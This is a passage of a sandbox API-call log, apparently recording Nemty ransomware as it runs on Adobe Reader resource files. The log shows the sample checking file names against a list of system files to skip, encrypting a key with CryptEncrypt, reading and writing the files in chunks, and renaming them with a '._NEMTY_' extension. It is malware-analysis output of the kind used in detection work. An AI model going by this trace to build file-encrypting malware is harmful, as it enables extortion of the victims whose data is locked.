lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.571] CloseHandle (hObject=0xffffffff) returned 0 [0197.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0197.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0197.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.571] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc._nemty_kgobjgd_")) returned 0 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0197.571] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="ADOBE-~2")) returned 1 [0197.571] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2=".") returned 1 [0197.571] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="..") returned 1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="...") returned 1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="windows") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="$RECYCLE.BIN") returned 1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="rsa") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="NTDETECT.COM") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="ntldr") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="MSDOS.SYS") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="IO.SYS") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="boot.ini") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="boot.ini") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="AUTOEXEC.BAT") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="ntuser.dat") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="desktop.ini") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="CONFIG.SYS") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="RECYCLER") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="BOOTSECT.BAK") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="bootmgr") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="programdata") returned -1 [0197.572] lstrcmpiW (lpString1="Adobe-CNS1-ETen-B5", lpString2="appdata") returned -1 [0197.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0197.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-ETen-B5", lpUsedDefaultChar=0x0) returned 18 [0197.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0197.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-ETen-B5", lpUsedDefaultChar=0x0) returned 18 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-ETen-B5", lpUsedDefaultChar=0x0) returned 18 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-ETen-B5", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-ETen-B5", lpUsedDefaultChar=0x0) returned 18 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0197.573] Sleep (dwMilliseconds=0x5) [0197.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x296b0c70, dwHighDateTime=0x1d561e8)) [0197.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x296b0c70, dwHighDateTime=0x1d561e8)) [0197.588] GetLastError () returned 0x5 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.588] GetLastError () returned 0x5 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0197.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.588] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0197.588] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="bwh6/zlj+HsXSiZcxjGhOQRKR8vNL6Mbw4FPMYrvb5p3H5EKP0TV8Fpn0xwHg8DX\r\nryc+TflenQQGooI6ZOKk/Il1zbZmIpYKXmf4JUABJAARLiWYgvWpp5dFuMaAeu6P\r\ngFZLgQj3c8Ig28pPD+RrVlODQsYMV0aFDYHqwoQKYU2FWbwlKwsSaMbaJ5yTuN4Q\r\nz7zYK2oUnBh9NA2fIgoWrJofy4XnEQYJjFkfYtXryavkZRs1/8cBFlDaTYjIyFFB\r\nn//w1QmM5Xf1lrJQsfWnLYRaXwuEXvUc/r2Cav4j8oFVQ9ieBPT56jcLLLitDEA6\r\n2XFiSwf2mASpBFq0kl4yEw==\r\n", pcchString=0x653e91c) returned 1 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0197.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0197.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.588] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, 